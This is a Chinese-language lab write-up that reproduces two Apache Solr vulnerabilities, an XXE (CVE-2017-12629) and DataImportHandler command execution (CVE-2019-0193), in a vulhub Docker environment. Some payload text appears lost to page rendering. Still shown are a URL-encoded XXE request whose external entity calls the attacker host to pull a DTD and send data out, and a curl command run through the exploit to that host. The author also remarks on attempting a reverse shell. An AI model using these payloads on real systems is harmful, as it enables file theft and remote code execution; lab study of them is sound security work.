docker/docker-compose 复现CVE

复现基于:

docker : https://www.docker.com/
vulhub : https://vulhub.org/

01 docker 安装 & docker-compose 安装

教程地址:
vulhub
详细:这个里面安装docker-compose方法挺好的







02 开始前的准备

1.获取vulhub

git clone https://github.com/vulhub/vulhub.git
或者直接从仓库克隆镜像

2.获取环境并运行

选择一个要复现的CVE,切换到该目录,查看其中的文档教程
获取并启动容器:docker-compose up -d
建议在管理员身份执行,不然可能会报错 No module named ssl_match_hostname

3.启动后,访问 http://your-ip:port 即可(文档中提供了端口port)也可以直接输入 127.0.0.1:port







03 实例(持续更新)

0x01:Apache solr XML 实体注入漏洞(CVE-2017-12629)

参考文章:
1.从Blind XXE漏洞到读取Root文件的系统提权
2.vulhub文档

环境:

名称 IP
靶机 192.168.230.132:8983
攻击机 192.168.230.133

漏洞成因:大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。
这是一个典型XXE漏洞的缺陷编码示例,Lucene包含了一个查询解析器支持XML格式进行数据查询,出现问题的代码片段在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java文件中
docker/docker-compose 复现CVE_第1张图片

通过查看调用栈中的数据处理流程,在调用lucene xml解析器时确实没有对DTD和外部实体进行禁用处理,造成了Blind XXE。

步骤:
环境自身已经帮我们创建了一个demo的core,自己创建的话会出问题,显示少了一些配置文件,所以直接利用这个demo
漏洞处在:http://192.168.230.132:8983/solr/demo/select?q=YouAreHacked&wt=xml&defType=xmlparser这个接口,调用接口的具体页面应该是在这里 http://192.168.230.132:8983/solr/#/demo/query
docker/docker-compose 复现CVE_第2张图片

由于已知是XXE,那么首先测试一下会不会是简单直接的有回显的XXE
payload:

 
 ]> 
&file;

很遗憾,失败了,并不会直接出现在页面上
报错:

No QueryObjectBuilder defined for node easy in {q=+%0a+]>+%0a%26file;&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}

那就复杂一点的:
首先测试一下是否对DTD和外部实体进行禁用处理:
payload:



%remote;]>


//注意:上述的 remote 实体调用的是自己搭建的用于接收接收信息的页面,确定靶机是否访问了外网,便于后续引用外部实体

//注意还有一点,上述payload需要URL编码,否则会报错

于是访问页面 http://192.168.230.132:8983/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20root%20%5B%0A%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A//192.168.230.133/wordpress/msg/getmsg.php%3Fmsg%3Dtest%22%3E%0A%25remote%3B%5D%3E%0A%3Croot/%3E&wt=xml&defType=xmlparser

查看攻击机上的记录:
docker/docker-compose 复现CVE_第3张图片
很明显访问了外网

第一种,利用报错形成有回显的XXE:
payload:



%ext;
%ent;
]>
&data;

攻击机(远程主机)上的外部实体 test.dtd



">

docker/docker-compose 复现CVE_第4张图片

第二种:既然能访问外网,那么能不能将数据外带呢?----无回显的XXE
payload:



%remote;
%int;
%send;
]>

``

攻击机(远程主机)上的外部实体 `test2.dtd`
```xml


">

很遗憾,又失败了。这是为什么?PHP上是可以执行的,为什么JAVA版的就不行呢?

最终报错:

Error parsing XML stream:java.net.MalformedURLException: Illegal character in URL in {q=%0a%0a%25remote;%0a%25int;%0a%25send;%0a]>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}

问题经过测试 出现在 %file;处,改成其他字符而不是引用实体的话没任何问题,唯独 %file; 不行。我心态崩了呀!

更改 %file;为'aaa2'的话,出现报错为:

org.apache.solr.search.SyntaxError: No QueryObjectBuilder defined for node root in {q=%0a%0a%25remote;%0a%25int;%0a%25send;%0a]>%0a&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}

但是会发送数据,即执行
docker/docker-compose 复现CVE_第5张图片

复现过程中也遇到同样的问题的师傅可以交流一下







0x02 Apache Solr 远程命令执行漏洞(CVE-2019-0193)

参考文章:
SeeBug
奇安信

环境:

名称 IP
靶机 192.168.230.132:8983
攻击机 192.168.230.133

漏洞成因:***

步骤:
首先启动漏洞环境,并创建一个叫做 test 的 core

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

打开漏洞页面 http://192.168.230.132:8983/solr/#/test/dataimport//dataimport,勾选 debug
docker/docker-compose 复现CVE_第6张图片
点击 Execute with this Confuguration 执行

poc:


  
  
  
    
  

结果:
docker/docker-compose 复现CVE_第7张图片

由于环境里面没有nc,所以也反弹不了 shell,但是有curl,所以可以访问一下攻击机
命令为 curl http://192.168.230.133/wordpress/msg/getmsg.php?msg=YouAreHacked!
docker/docker-compose 复现CVE_第8张图片







你可能感兴趣的:(docker/docker-compose 复现CVE)